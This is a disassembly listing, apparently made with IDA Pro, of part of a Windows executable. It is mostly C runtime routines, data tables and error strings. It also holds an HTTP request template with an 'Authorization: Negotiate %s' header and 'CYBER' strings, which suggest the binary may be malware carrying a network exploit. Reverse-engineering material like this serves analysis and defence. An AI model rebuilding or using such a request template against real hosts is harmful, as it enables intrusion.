		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9AC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC40
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 25F005Bh
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4DC
		push	esi
		push	edi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC40, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F005Bh
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2810000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB9E4


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2600000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25C104Ah, 25D0000h, 25D082Eh, 25E0000h, 25E0AEBh
		dd 25E0B74h, 25F0000h, 25F005Bh, 2600000h, 26008B4h, 2610000h
		dd 26102C7h, 2610B09h, 2610CEFh
dword_42703C	dd 2610D03h		; DATA XREF: ___:004231D9r
		dd 2610D5Bh, 2610FC3h, 2620000h, 2620109h, 2630000h, 2640000h
		dd 2650000h, 265044Bh, 265091Dh, 77E75CB5h
dword_427068	dd 2650937h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650CB8h, 2660000h, 2670000h
dword_427078	dd 2670535h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670579h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26706F7h
dword_427084	dd 26707D9h		; DATA XREF: sub_4196BC+B9r
		dd 2670E69h
dword_42708C	dd 2670E94h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680000h		; DATA XREF: ___:loc_4013DCr
		dd 2680310h, 26803E7h
dword_42709C	dd 2680506h		; DATA XREF: sub_409B12+2r
		dd 268062Eh, 2680679h
dword_4270A8	dd 2680CE9h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2680D2Eh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690C4Eh
dword_4270B8	dd 26A0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A043Dh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C04ECh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D056Dh, 26D0702h, 26E0000h, 26E07BAh
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F0864h		; DATA XREF: sub_418293+36r
		dd 26F0B2Dh, 2700000h
dword_4270F8	dd 27005C6h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2720000h, 2730000h, 2730B64h, 2740000h, 2740814h, 2750000h
		dd 2750452h, 2760000h, 2760B5Dh, 2760F25h, 2770000h, 2770150h
		dd 2770977h, 2770C01h, 2780000h
dword_42713C	dd 2780288h		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0ADBh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0B3Eh
dword_427150	dd 27B0000h		; DATA XREF: sub_417275+56r
		dd 27B0293h, 27C0000h, 27D0000h, 27D05A8h, 27D0AC6h, 27E0000h
		dd 27E018Ah, 27E0880h, 27F0000h, 2800000h
dword_42717C	dd 2810000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2820000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2830000h, 2830391h, 2830818h, 2830B20h, 2840000h, 2850000h
		dd 2860000h, 2870000h, 2880000h, 2890000h, 2891991h, 28919C1h
		dd 28A0000h, 28A1070h, 28A1211h
dword_4271C0	dd 28A1831h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28A1994h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28B0000h, 28B04EFh, 28B0BC7h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBC4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBC0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE3Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D00Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
